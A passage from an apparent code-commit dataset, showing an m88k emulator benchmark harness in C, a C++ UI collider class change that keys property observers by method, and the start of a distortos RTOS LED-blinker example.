\/\/ THIS IS *GUEST* ADDRESS!\n\n#define STACK ((long long)(stack+STACK_SIZE-4))\n\n#define PC (((m88k_grf_t*)cpu->rf.grf)->sxip)\n#define PSR (((m88k_grf_t*)cpu->rf.grf)->psr)\n#define R (((m88k_grf_t*)cpu->rf.grf)->r)\n#define X (((m88k_xrf_t*)cpu->rf.fpr)->x)\n\n\tPC = cpu->code_entry;\n#if 0\n\tfor (i = 1; i < 32; i++)\n\t\tR[i] = 0xF0000000 + i;\t\/\/ DEBUG\n#endif\n\tR[31] = STACK; \/\/ STACK\n\tR[1] = -1; \/\/ return address\n\n#ifdef BENCHMARK_FIB\/\/fib\n\tR[2] = start_no; \/\/ parameter\n#else\n\tR[2] = 0x3f800000; \/\/ 1.0\n\tieee754_fp80_set_d(&X[2], 1.0);\n#endif\n\tdump_state(RAM, (m88k_grf_t*)cpu->rf.grf, NULL);\n\n#ifdef SINGLESTEP\n\tfor(step = 0;;) {\n\t\tprintf(\"::STEP:: %d\\n\", step++);\n\n\t\tcpu_run(cpu, debug_function);\n\n\t\tdump_state(RAM, (m88k_grf_t*)cpu->reg);\n\t\tprintf (\"NPC=%08x\\n\", PC);\n\n\t\tif (PC == -1)\n\t\t\tbreak;\n\n\t\tcpu_flush(cpu);\n\t\tprintf(\"*** PRESS <ENTER> TO CONTINUE ***\\n\");\n\t\tgetchar();\n\t}\n#else\n\tfor(;;) {\n\t\tint ret;\n\t\tbreakpoint();\n\t\tret = cpu_run(cpu, debug_function);\n\t\tprintf(\"ret = %d\\n\", ret);\n\t\tswitch (ret) {\n\t\t\tcase JIT_RETURN_NOERR: \/* JIT code wants us to end execution *\/\n\t\t\t\tbreak;\n\t\t\tcase JIT_RETURN_FUNCNOTFOUND:\n\t\t\t\tdump_state(RAM, (m88k_grf_t*)cpu->rf.grf, (m88k_xrf_t*)cpu->rf.frf);\n\n\t\t\t\tif (PC == (uint32_t)(-1))\n\t\t\t\t\tgoto double_break;\n\n\t\t\t\t\/\/ bad :(\n\t\t\t\tprintf(\"%s: error: $%llX not found!\\n\", __func__, (unsigned long long)PC);\n\t\t\t\tprintf(\"PC: \");\n\t\t\t\tfor (i = 0; i < 16; i++)\n\t\t\t\t\tprintf(\"%02X \", RAM[PC+i]);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t\texit(1);\n\t\t\tdefault:\n\t\t\t\tprintf(\"unknown return code: %d\\n\", ret);\n\t\t}\n\t}\ndouble_break:\n#ifdef BENCHMARK_FIB\n\tprintf(\"start_no=%u\\n\", start_no);\n\n\tprintf(\"RUN1...\"); fflush(stdout);\n\tPC = cpu->code_entry;\n\n\tfor (i = 1; i < 32; i++)\n\t\tR[i] = 0xF0000000 + i;\t\/\/ DEBUG\n\n\tR[31] = STACK; \/\/ STACK\n\tR[1] = -1; \/\/ return address\n\n\tR[2] = start_no; \/\/ parameter\n\tbreakpoint();\n\n\tt1 = abs_time();\n\/\/\tfor (int i=0; i<TIMES; i++)\n\t\tcpu_run(cpu, debug_function);\n\tr1 = R[2];\n\tt2 = abs_time();\n\n\tprintf(\"done!\\n\");\n\t\n\tdump_state(RAM, (m88k_grf_t*)cpu->rf.grf, NULL);\n\n\tprintf(\"RUN2...\"); fflush(stdout);\n\tt3 = abs_time();\n\/\/\tfor (int i=0; i<TIMES; i++)\n\t\tr2 = fib(start_no);\n\tt4 = abs_time();\n\tprintf(\"done!\\n\");\n\n\tprintf(\"%d -- %d\\n\", r1, r2);\n\tprintf(\"%lld -- %lld\\n\", t2-t1, t4-t3);\n\tprintf(\"%f%%\\n\", (float)(t2-t1)\/(float)(t4-t3));\n#endif\n#endif\n\n\tprintf(\"done.\\n\");\n\n\tint base = 0x2000;\n\tfor (int i=0; i<256; i+=4) {\n\t\tif (!(i%16))\n\t\t\tprintf(\"\\nDATA: \");\n\t\tprintf(\"%08x \", *(unsigned int*)&RAM[(base+i)]);\n\t}\n\tprintf(\"\\n\");\n\n\treturn 0;\n}\n<commit_msg>Pass fp80_reg_t by reference (MSVC doesn't like passing structs with alignment by value)<commit_after>#define BENCHMARK_FIB\n\/\/#define SINGLESTEP\n\n#ifdef BENCHMARK_FIB\n# define START 0\n# define ENTRY 0\n#else\n# define START 0\n# define ENTRY 0\n#endif\n\n#include \"timings.h\"\n\n#define START_NO 1000000000\n#define TIMES 100\n\n#include <libcpu.h>\n#include \"arch\/m88k\/libcpu_m88k.h\"\n#include \"arch\/m88k\/m88k_isa.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ command line parsing helpers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid tag_extra(cpu_t *cpu, char *entries)\n{\n\taddr_t entry;\n\tchar* old_entries;\n\n\twhile (entries && *entries) {\n\t\/* just one for now *\/\n\t\tif (entries[0] == ',')\n\t\t\tentries++;\n\t\tif (!entries[0])\n\t\t\tbreak;\n\t\told_entries = entries;\n\t\tentry = (addr_t)strtol(entries, &entries, 0);\n\t\tif (entries == old_entries) {\n\t\t\tprintf(\"Error parsing entries!\\n\");\n\t\t\texit(3);\n\t\t}\n\t\tcpu_tag(cpu, entry);\n\t}\n}\n\nvoid tag_extra_filename(cpu_t *cpu, char *filename)\n{\n\tFILE *fp;\n\tchar *buf;\n\tsize_t nbytes;\n\n\tfp = fopen(filename, \"r\");\n\tif (!fp) {\n\t\tperror(\"error opening tag file\");\n\t\texit(3);\n\t}\n\tfseek(fp, 0, SEEK_END);\n\tnbytes = ftell(fp);\n\tfseek(fp, 0, SEEK_SET);\n\tbuf = (char*)malloc(nbytes + 1);\n\tnbytes = fread(buf, 1, nbytes, fp);\n\tbuf[nbytes] = '\\0';\n\tfclose(fp);\n\n\twhile (nbytes && buf[nbytes - 1] == '\\n')\n\t\tbuf[--nbytes] = '\\0';\n\n\ttag_extra(cpu, buf);\n\tfree(buf);\n}\n\nvoid __attribute__((noinline))\nbreakpoint() {\nasm(\"nop\");\n}\n\nstatic double\nieee754_fp80_to_double(const fp80_reg_t ®)\n{\n#if defined(__i386__) || defined(__x86_64__)\n#if 0\n\tuint32_t sign = (reg.i.hi & 0x8000) != 0;\n\tuint32_t exp = reg.i.hi & 0x7fff;\n\tuint64_t mantissa = reg.i.lo;\n#endif\n\treturn (double)reg.f;\n#else\n\tuint32_t sign = (reg.i.hi & 0x8000) != 0;\n\tuint32_t exp = reg.i.hi & 0x7fff;\n\tuint64_t mantissa = reg.i.lo << 1;\n\n\tuint64_t v64 = ((uint64_t)sign << 63) | \n\t\t((uint64_t)(exp & 0x7000) << 48) |\n\t\t((uint64_t)(exp & 0x3ff) << 52) |\n\t\t(mantissa >> 12);\n\n\treturn *(double *)&v64;\n#endif\n}\n\n#if 0\nstatic void\nieee754_fp80_set_d(fp80_reg_t *reg, double v)\n{\n#if defined(__i386__) || defined(__x86_64__)\n\treg->f = v;\n#else\n\tuint64_t v64 = *(uint64_t *)&v;\n\tuint32_t sign = (v64 >> 63);\n\tuint32_t exp = (v64 >> 52) & 0x7ff;\n\tuint64_t mantissa = v64 & ((1ULL << 52) - 1);\n\n\tmantissa <<= 11;\n\tmantissa |= (1ULL << 63);\n\n\texp = ((exp & 0x700) << 4) | ((-((exp >> 9) & 1)) & 0xf00) | (exp & 0x3ff);\n\n\treg->i.hi = (sign << 15) | exp;\n\treg->i.lo = mantissa;\n#endif\n}\n#endif\n\nstatic void\ndump_state(uint8_t *RAM, m88k_grf_t *reg, m88k_xrf_t *xrf)\n{\n\tprintf(\"%08llx:\", (unsigned long long)reg->sxip);\n\tfor (int i=0; i<32; i++) {\n\t\tif (!(i%4))\n\t\t\tprintf(\"\\n\");\n\t\tprintf(\"R%02d=%08x \", i, (unsigned int)reg->r[i]);\n\t}\n\tfor (int i=0; xrf != NULL && i<32; i++) {\n\t\tif (!(i%2))\n\t\t\tprintf(\"\\n\");\n\t\tprintf(\"X%02d=%04x%016llx (%.8f) \", i,\n\t\t\txrf->x[i].i.hi, xrf->x[i].i.lo,\n\t\t\tieee754_fp80_to_double(xrf->x[i]));\n\t}\n\tuint32_t base = reg->r[31];\n\tfor (int i=0; i<256 && i+base<65536; i+=4) {\n\t\tif (!(i%16))\n\t\t\tprintf(\"\\nSTACK: \");\n\t\tprintf(\"%08x \", *(unsigned int*)&RAM[(base+i)]);\n\t}\n\tprintf(\"\\n\");\n}\n\nstatic void\ndebug_function(cpu_t *cpu) {\n\tfprintf(stderr, \"%s:%u\\n\", __FILE__, __LINE__);\n}\n\n#if 0\nint fib(int n)\n{\n\tif (n==0 || n==1)\n\t\treturn n;\n\telse\n\t\treturn fib(n-1) + fib(n-2);\n}\n#else\nint fib(int n)\n{\n int f2=0;\n int f1=1;\n int fib=0;\n int i;\n \n if (n==0 || n==1)\n return n;\n for(i=2;i<=n;i++){\n fib=f1+f2; \/*sum*\/\n f2=f1;\n f1=fib;\n }\n return fib;\n}\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint\nmain(int argc, char **argv)\n{\n\tchar *executable;\n\tchar *entries;\n\tcpu_t *cpu;\n\tuint8_t *RAM;\n\tFILE *f;\n\tint ramsize;\n\tchar *stack;\n\tint i;\n#ifdef BENCHMARK_FIB\n\tint r1, r2;\n\tuint64_t t1, t2, t3, t4;\n\tunsigned start_no = START_NO;\n#endif\n#ifdef SINGLESTEP\n\tint step = 0;\n#endif\n\tramsize = 5*1024*1024;\n\tRAM = (uint8_t*)malloc(ramsize);\n\n\tcpu = cpu_new(CPU_ARCH_M88K, CPU_FLAG_ENDIAN_BIG, 0);\n\n#ifdef SINGLESTEP\n\tcpu_set_flags_optimize(cpu, CPU_OPTIMIZE_ALL);\n\tcpu_set_flags_debug(cpu, CPU_DEBUG_SINGLESTEP | CPU_DEBUG_PRINT_IR | CPU_DEBUG_PRINT_IR_OPTIMIZED);\n#else\n\tcpu_set_flags_optimize(cpu, CPU_OPTIMIZE_ALL);\n\/\/\tcpu_set_flags_optimize(cpu, CPU_OPTIMIZE_NONE);\n\/\/\tcpu_set_flags_optimize(cpu, 0x3eff);\n\/\/\tcpu_set_flags_optimize(cpu, 0x3eff);\n\tcpu_set_flags_debug(cpu, CPU_DEBUG_PRINT_IR | CPU_DEBUG_PRINT_IR_OPTIMIZED);\n#endif\n\n\tcpu_set_ram(cpu, RAM);\n\t\n\t\/* parameter parsing *\/\n\tif (argc < 2) {\n#ifdef BENCHMARK_FIB\n\t\tprintf(\"Usage: %s executable [itercount] [entries]\\n\", argv[0]);\n#else\n\t\tprintf(\"Usage: %s executable [entries]\\n\", argv[0]);\n#endif\n\t\treturn 0;\n\t}\n\n\texecutable = argv[1];\n#ifdef BENCHMARK_FIB\n\tif (argc >= 3)\n\t\tstart_no = atoi(argv[2]);\n\n\tif (argc >= 4)\n\t\tentries = argv[3];\n\telse\n\t\tentries = 0;\n#else\n\tif (argc >= 3)\n\t\tentries = argv[2];\n\telse\n\t\tentries = 0;\n#endif\n\n\t\/* load code *\/\n\tif (!(f = fopen(executable, \"rb\"))) {\n\t\tprintf(\"Could not open %s!\\n\", executable);\n\t\treturn 2;\n\t}\n\tcpu->code_start = START;\n\tcpu->code_end = cpu->code_start + fread(&RAM[cpu->code_start], 1, ramsize-cpu->code_start, f);\n\tfclose(f);\n\tcpu->code_entry = cpu->code_start + ENTRY;\n\n\tcpu_tag(cpu, cpu->code_entry);\n\n\tif (entries && *entries == '@')\n\t\ttag_extra_filename(cpu, entries + 1);\n\telse\n\t\ttag_extra(cpu, entries); \/* tag extra entry points from the command line *\/\n\n#ifdef RET_OPTIMIZATION\n\tfind_rets(RAM, cpu->code_start, cpu->code_end);\n#endif\n\n\tprintf(\"*** Executing...\\n\");\n\n#define STACK_SIZE 65536\n\n\tstack = (char *)(ramsize - STACK_SIZE); \/\/ THIS IS *GUEST* ADDRESS!\n\n#define STACK ((long long)(stack+STACK_SIZE-4))\n\n#define PC (((m88k_grf_t*)cpu->rf.grf)->sxip)\n#define PSR (((m88k_grf_t*)cpu->rf.grf)->psr)\n#define R (((m88k_grf_t*)cpu->rf.grf)->r)\n#define X (((m88k_xrf_t*)cpu->rf.fpr)->x)\n\n\tPC = cpu->code_entry;\n#if 0\n\tfor (i = 1; i < 32; i++)\n\t\tR[i] = 0xF0000000 + i;\t\/\/ DEBUG\n#endif\n\tR[31] = STACK; \/\/ STACK\n\tR[1] = -1; \/\/ return address\n\n#ifdef BENCHMARK_FIB\/\/fib\n\tR[2] = start_no; \/\/ parameter\n#else\n\tR[2] = 0x3f800000; \/\/ 1.0\n\tieee754_fp80_set_d(&X[2], 1.0);\n#endif\n\tdump_state(RAM, (m88k_grf_t*)cpu->rf.grf, NULL);\n\n#ifdef SINGLESTEP\n\tfor(step = 0;;) {\n\t\tprintf(\"::STEP:: %d\\n\", step++);\n\n\t\tcpu_run(cpu, debug_function);\n\n\t\tdump_state(RAM, (m88k_grf_t*)cpu->reg);\n\t\tprintf (\"NPC=%08x\\n\", PC);\n\n\t\tif (PC == -1)\n\t\t\tbreak;\n\n\t\tcpu_flush(cpu);\n\t\tprintf(\"*** PRESS <ENTER> TO CONTINUE ***\\n\");\n\t\tgetchar();\n\t}\n#else\n\tfor(;;) {\n\t\tint ret;\n\t\tbreakpoint();\n\t\tret = cpu_run(cpu, debug_function);\n\t\tprintf(\"ret = %d\\n\", ret);\n\t\tswitch (ret) {\n\t\t\tcase JIT_RETURN_NOERR: \/* JIT code wants us to end execution *\/\n\t\t\t\tbreak;\n\t\t\tcase JIT_RETURN_FUNCNOTFOUND:\n\t\t\t\tdump_state(RAM, (m88k_grf_t*)cpu->rf.grf, (m88k_xrf_t*)cpu->rf.frf);\n\n\t\t\t\tif (PC == (uint32_t)(-1))\n\t\t\t\t\tgoto double_break;\n\n\t\t\t\t\/\/ bad :(\n\t\t\t\tprintf(\"%s: error: $%llX not found!\\n\", __func__, (unsigned long long)PC);\n\t\t\t\tprintf(\"PC: \");\n\t\t\t\tfor (i = 0; i < 16; i++)\n\t\t\t\t\tprintf(\"%02X \", RAM[PC+i]);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t\texit(1);\n\t\t\tdefault:\n\t\t\t\tprintf(\"unknown return code: %d\\n\", ret);\n\t\t}\n\t}\ndouble_break:\n#ifdef BENCHMARK_FIB\n\tprintf(\"start_no=%u\\n\", start_no);\n\n\tprintf(\"RUN1...\"); fflush(stdout);\n\tPC = cpu->code_entry;\n\n\tfor (i = 1; i < 32; i++)\n\t\tR[i] = 0xF0000000 + i;\t\/\/ DEBUG\n\n\tR[31] = STACK; \/\/ STACK\n\tR[1] = -1; \/\/ return address\n\n\tR[2] = start_no; \/\/ parameter\n\tbreakpoint();\n\n\tt1 = abs_time();\n\/\/\tfor (int i=0; i<TIMES; i++)\n\t\tcpu_run(cpu, debug_function);\n\tr1 = R[2];\n\tt2 = abs_time();\n\n\tprintf(\"done!\\n\");\n\t\n\tdump_state(RAM, (m88k_grf_t*)cpu->rf.grf, NULL);\n\n\tprintf(\"RUN2...\"); fflush(stdout);\n\tt3 = abs_time();\n\/\/\tfor (int i=0; i<TIMES; i++)\n\t\tr2 = fib(start_no);\n\tt4 = abs_time();\n\tprintf(\"done!\\n\");\n\n\tprintf(\"%d -- %d\\n\", r1, r2);\n\tprintf(\"%lld -- %lld\\n\", t2-t1, t4-t3);\n\tprintf(\"%f%%\\n\", (float)(t2-t1)\/(float)(t4-t3));\n#endif\n#endif\n\n\tprintf(\"done.\\n\");\n\n\tint base = 0x2000;\n\tfor (int i=0; i<256; i+=4) {\n\t\tif (!(i%16))\n\t\t\tprintf(\"\\nDATA: \");\n\t\tprintf(\"%08x \", *(unsigned int*)&RAM[(base+i)]);\n\t}\n\tprintf(\"\\n\");\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ yas_ui_collider.cpp\n\/\/\n\n#include \"yas_observing.h\"\n#include \"yas_property.h\"\n#include \"yas_to_bool.h\"\n#include \"yas_ui_collider.h\"\n\nusing namespace yas;\n\n#pragma mark - shape\n\nbool ui::anywhere_shape::hit_test(ui::point const &) const {\n return true;\n}\n\nbool ui::circle_shape::hit_test(ui::point const &pos) const {\n return std::powf(pos.x - center.x, 2.0f) + std::powf(pos.y - center.y, 2.0f) < std::powf(radius, 2.0f);\n}\n\nbool ui::rect_shape::hit_test(ui::point const &pos) const {\n return contains(rect, pos);\n}\n\nstruct ui::shape::impl_base : base::impl {\n virtual std::type_info const &type() const = 0;\n virtual bool hit_test(ui::point const &) = 0;\n};\n\ntemplate <typename T>\nstruct ui::shape::impl : impl_base {\n typename T::type _value;\n\n impl(typename T::type &&value) : _value(std::move(value)) {\n }\n\n std::type_info const &type() const override {\n return typeid(T);\n }\n\n bool hit_test(ui::point const &pos) override {\n return _value.hit_test(pos);\n }\n};\n\nui::shape::shape(anywhere::type shape) : base(std::make_shared<impl<anywhere>>(std::move(shape))) {\n}\n\nui::shape::shape(circle::type shape) : base(std::make_shared<impl<circle>>(std::move(shape))) {\n}\n\nui::shape::shape(rect::type shape) : base(std::make_shared<impl<rect>>(std::move(shape))) {\n}\n\nui::shape::shape(std::nullptr_t) : base(nullptr) {\n}\n\nui::shape::~shape() = default;\n\nstd::type_info const &ui::shape::type_info() const {\n return impl_ptr<impl_base>()->type();\n}\n\nbool ui::shape::hit_test(ui::point const &pos) const {\n return impl_ptr<impl_base>()->hit_test(pos);\n}\n\ntemplate <typename T>\ntypename T::type const &ui::shape::get() const {\n if (auto ip = std::dynamic_pointer_cast<impl<T>>(impl_ptr())) {\n return ip->_value;\n }\n\n static const typename T::type _default{};\n return _default;\n}\n\ntemplate ui::anywhere_shape const &ui::shape::get<ui::shape::anywhere>() const;\ntemplate ui::circle_shape const &ui::shape::get<ui::shape::circle>() const;\ntemplate ui::rect_shape const &ui::shape::get<ui::shape::rect>() const;\n\n#pragma mark - collider\n\nstruct ui::collider::impl : base::impl, renderable_collider::impl {\n property<ui::shape> _shape_property{{.value = nullptr}};\n property<bool> _enabled_property{{.value = true}};\n subject_t _subject;\n std::vector<base> _property_observers;\n\n impl(ui::shape &&shape) : _shape_property({.value = std::move(shape)}) {\n _property_observers.reserve(2);\n }\n\n void dispatch_method(ui::collider::method const method) {\n auto weak_collider = to_weak(cast<ui::collider>());\n\n base observer = nullptr;\n\n switch (method) {\n case ui::collider::method::shape_changed:\n observer = _shape_property.subject().make_observer(\n property_method::did_change, [weak_collider](auto const &context) {\n if (auto collider = weak_collider.lock()) {\n collider.subject().notify(ui::collider::method::shape_changed, collider);\n }\n });\n break;\n case ui::collider::method::enabled_changed:\n observer = _enabled_property.subject().make_observer(\n property_method::did_change, [weak_collider](auto const &context) {\n if (auto collider = weak_collider.lock()) {\n collider.subject().notify(ui::collider::method::enabled_changed, collider);\n }\n });\n break;\n }\n\n _property_observers.emplace_back(std::move(observer));\n }\n\n bool hit_test(ui::point const &loc) {\n auto const &shape = _shape_property.value();\n if (shape && _enabled_property.value()) {\n auto pos = simd::float4x4(matrix_invert(_matrix)) * to_float4(loc.v);\n return shape.hit_test({pos.x, pos.y});\n }\n return false;\n }\n\n simd::float4x4 const &matrix() const override {\n return _matrix;\n }\n\n void set_matrix(simd::float4x4 &&matrix) override {\n _matrix = std::move(matrix);\n }\n\n private:\n simd::float4x4 _matrix = matrix_identity_float4x4;\n};\n\nui::collider::collider() : base(std::make_shared<impl>(nullptr)) {\n}\n\nui::collider::collider(ui::shape shape) : base(std::make_shared<impl>(std::move(shape))) {\n}\n\nui::collider::collider(std::nullptr_t) : base(nullptr) {\n}\n\nui::collider::~collider() = default;\n\nvoid ui::collider::set_shape(ui::shape shape) {\n impl_ptr<impl>()->_shape_property.set_value(std::move(shape));\n}\n\nui::shape const &ui::collider::shape() const {\n return impl_ptr<impl>()->_shape_property.value();\n}\n\nvoid ui::collider::set_enabled(bool const enabled) {\n impl_ptr<impl>()->_enabled_property.set_value(enabled);\n}\n\nbool ui::collider::is_enabled() const {\n return impl_ptr<impl>()->_enabled_property.value();\n}\n\nbool ui::collider::hit_test(ui::point const &pos) const {\n return impl_ptr<impl>()->hit_test(pos);\n}\n\nui::collider::subject_t &ui::collider::subject() {\n return impl_ptr<impl>()->_subject;\n}\n\nvoid ui::collider::dispatch_method(ui::collider::method const method) {\n impl_ptr<impl>()->dispatch_method(method);\n}\n\nui::renderable_collider &ui::collider::renderable() {\n if (!_renderable) {\n _renderable = ui::renderable_collider{impl_ptr<ui::renderable_collider::impl>()};\n }\n return _renderable;\n}\n<commit_msg>update collider<commit_after>\/\/\n\/\/ yas_ui_collider.cpp\n\/\/\n\n#include \"yas_observing.h\"\n#include \"yas_property.h\"\n#include \"yas_to_bool.h\"\n#include \"yas_ui_collider.h\"\n\nusing namespace yas;\n\n#pragma mark - shape\n\nbool ui::anywhere_shape::hit_test(ui::point const &) const {\n return true;\n}\n\nbool ui::circle_shape::hit_test(ui::point const &pos) const {\n return std::powf(pos.x - center.x, 2.0f) + std::powf(pos.y - center.y, 2.0f) < std::powf(radius, 2.0f);\n}\n\nbool ui::rect_shape::hit_test(ui::point const &pos) const {\n return contains(rect, pos);\n}\n\nstruct ui::shape::impl_base : base::impl {\n virtual std::type_info const &type() const = 0;\n virtual bool hit_test(ui::point const &) = 0;\n};\n\ntemplate <typename T>\nstruct ui::shape::impl : impl_base {\n typename T::type _value;\n\n impl(typename T::type &&value) : _value(std::move(value)) {\n }\n\n std::type_info const &type() const override {\n return typeid(T);\n }\n\n bool hit_test(ui::point const &pos) override {\n return _value.hit_test(pos);\n }\n};\n\nui::shape::shape(anywhere::type shape) : base(std::make_shared<impl<anywhere>>(std::move(shape))) {\n}\n\nui::shape::shape(circle::type shape) : base(std::make_shared<impl<circle>>(std::move(shape))) {\n}\n\nui::shape::shape(rect::type shape) : base(std::make_shared<impl<rect>>(std::move(shape))) {\n}\n\nui::shape::shape(std::nullptr_t) : base(nullptr) {\n}\n\nui::shape::~shape() = default;\n\nstd::type_info const &ui::shape::type_info() const {\n return impl_ptr<impl_base>()->type();\n}\n\nbool ui::shape::hit_test(ui::point const &pos) const {\n return impl_ptr<impl_base>()->hit_test(pos);\n}\n\ntemplate <typename T>\ntypename T::type const &ui::shape::get() const {\n if (auto ip = std::dynamic_pointer_cast<impl<T>>(impl_ptr())) {\n return ip->_value;\n }\n\n static const typename T::type _default{};\n return _default;\n}\n\ntemplate ui::anywhere_shape const &ui::shape::get<ui::shape::anywhere>() const;\ntemplate ui::circle_shape const &ui::shape::get<ui::shape::circle>() const;\ntemplate ui::rect_shape const &ui::shape::get<ui::shape::rect>() const;\n\n#pragma mark - collider\n\nstruct ui::collider::impl : base::impl, renderable_collider::impl {\n property<ui::shape> _shape_property{{.value = nullptr}};\n property<bool> _enabled_property{{.value = true}};\n subject_t _subject;\n\n impl(ui::shape &&shape) : _shape_property({.value = std::move(shape)}) {\n _property_observers.reserve(2);\n }\n\n void dispatch_method(ui::collider::method const method) {\n if (_property_observers.count(method)) {\n return;\n }\n\n auto weak_collider = to_weak(cast<ui::collider>());\n\n base observer = nullptr;\n\n switch (method) {\n case ui::collider::method::shape_changed:\n observer = _shape_property.subject().make_observer(\n property_method::did_change, [weak_collider](auto const &context) {\n if (auto collider = weak_collider.lock()) {\n collider.subject().notify(ui::collider::method::shape_changed, collider);\n }\n });\n break;\n case ui::collider::method::enabled_changed:\n observer = _enabled_property.subject().make_observer(\n property_method::did_change, [weak_collider](auto const &context) {\n if (auto collider = weak_collider.lock()) {\n collider.subject().notify(ui::collider::method::enabled_changed, collider);\n }\n });\n break;\n }\n\n _property_observers.emplace(std::make_pair(method, std::move(observer)));\n }\n\n bool hit_test(ui::point const &loc) {\n auto const &shape = _shape_property.value();\n if (shape && _enabled_property.value()) {\n auto pos = simd::float4x4(matrix_invert(_matrix)) * to_float4(loc.v);\n return shape.hit_test({pos.x, pos.y});\n }\n return false;\n }\n\n simd::float4x4 const &matrix() const override {\n return _matrix;\n }\n\n void set_matrix(simd::float4x4 &&matrix) override {\n _matrix = std::move(matrix);\n }\n\n private:\n simd::float4x4 _matrix = matrix_identity_float4x4;\n std::unordered_map<ui::collider::method, base> _property_observers;\n};\n\nui::collider::collider() : base(std::make_shared<impl>(nullptr)) {\n}\n\nui::collider::collider(ui::shape shape) : base(std::make_shared<impl>(std::move(shape))) {\n}\n\nui::collider::collider(std::nullptr_t) : base(nullptr) {\n}\n\nui::collider::~collider() = default;\n\nvoid ui::collider::set_shape(ui::shape shape) {\n impl_ptr<impl>()->_shape_property.set_value(std::move(shape));\n}\n\nui::shape const &ui::collider::shape() const {\n return impl_ptr<impl>()->_shape_property.value();\n}\n\nvoid ui::collider::set_enabled(bool const enabled) {\n impl_ptr<impl>()->_enabled_property.set_value(enabled);\n}\n\nbool ui::collider::is_enabled() const {\n return impl_ptr<impl>()->_enabled_property.value();\n}\n\nbool ui::collider::hit_test(ui::point const &pos) const {\n return impl_ptr<impl>()->hit_test(pos);\n}\n\nui::collider::subject_t &ui::collider::subject() {\n return impl_ptr<impl>()->_subject;\n}\n\nvoid ui::collider::dispatch_method(ui::collider::method const method) {\n impl_ptr<impl>()->dispatch_method(method);\n}\n\nui::renderable_collider &ui::collider::renderable() {\n if (!_renderable) {\n _renderable = ui::renderable_collider{impl_ptr<ui::renderable_collider::impl>()};\n }\n return _renderable;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file\n * \\brief staticThreadBlinker example application\n *\n * \\author Copyright (C) 2016 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"distortos\/distortosConfiguration.h\"\n\n#if defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n#include \"distortos\/board\/leds.hpp\"\n\n#include \"distortos\/chip\/ChipOutputPin.hpp\"\n\n#endif\t\/\/ defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n#include \"distortos\/StaticThread.hpp\"\n#include \"distortos\/ThisThread.hpp\"\n\nnamespace\n{\n\n#if defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\/**\n * \\brief LED blinking function\n *\n * Constantly toggles state of \\a led and waits for half of \\a periodMs.\n *\n * \\param [in] led is a reference to distortos::devices::OutputPin object which will be toggled by this function\n * \\param [in] periodMs is a full (on -> off -> on) period of toggling, milliseconds\n *\/\n\nvoid ledBlinkerFunction(distortos::devices::OutputPin& led, const std::chrono::milliseconds periodMs)\n{\n\twhile (1)\n\t{\n\t\tled.set(!led.get());\t\/\/ invert state of LED\n\t\tdistortos::ThisThread::sleepFor(periodMs \/ 2);\n\t}\n}\n\n#endif\t\/\/ defined(CONFIG_BOARD_LEDS_ENABLE) && CONFIG_BOARD_TOTAL_LEDS >= 1\n\n\/**\n * \\brief Boolean variable \"blinking\" function\n *\n * Constantly toggles value of \\a variable and waits for half of \\a periodMs. This function is meant as a demonstration\n * for configuration which either has no LEDs or doesn't enable them.\n *\n * \\param [in] variable is a reference to bool variable which will be toggled by this function\n * \\param [in] periodMs is a full (true -> false -> true) period of toggling, milliseconds\n *\/\n\nvoid variableBlinkerFunction(bool& variable, const std::chrono::milliseconds periodMs)\n{\n\twhile (1)\n\t{\n\t\tvariable = !variable;\t\/\/ invert state of variable\n\t\tdistortos::ThisThread::sleepFor(periodMs \/ 2);\n\t}\n}\n\n}\t\/\/ namespace\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| global functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/**\n * \\brief Main code block of staticThreadBlinker application\n *\n * This example application tries to demonstrate the most basic aspects of static threads:\n * - creating and starting them,\n * - passing arguments to thread's function by reference and by value,\n * - joining them.\n *\n * If the configured board has no LEDs or if they are not enabled in the configuration, only one dummy thread is\n * created - it \"blinks\" a boolean variable instead of a real LED. Otherwise up to four additional threads are created\n * (but no more than the number of LEDs on the board - CONFIG_BOARD_TOTAL_LEDS) - each one blinks its own LED (which was\n * passed to the thread's function by reference) with provided period (passed by value). The periods of blinking are\n * slightly different for each thread, so if there are multiple LEDs they are not in sync with each other. The periods\n * are actually prime numbers, so they create very long \"global\" period (in which the whole pattern repeats).\n *\n * Even though all created threads never terminate (their functions have infinite loops and never return), main thread\n * calls Thread::join() for each of them anyway. This is a good and safe practice, which also happens to be the easiest\n * way to suspend main thread in this example application.\n *\n * \\return doesn't return\n *\/\n\nint main()\n{\n\tbool variable {};\n\t\/\/ create and immediately start static thread with 1024 bytes of stack, low priority (1), variableBlinkerFunction()\n\t\/\/ will get variable by reference and period by value\n\tauto variableBlinkerThread = distortos::makeAndStartStaticThread<1024>(1, variableBlinkerFunction,\n\t\t\tstd::ref(variable), std::chrono::milliseconds{401});\n\n#if defined(CONFIG_BOARD_LEDS_ENABLE) && 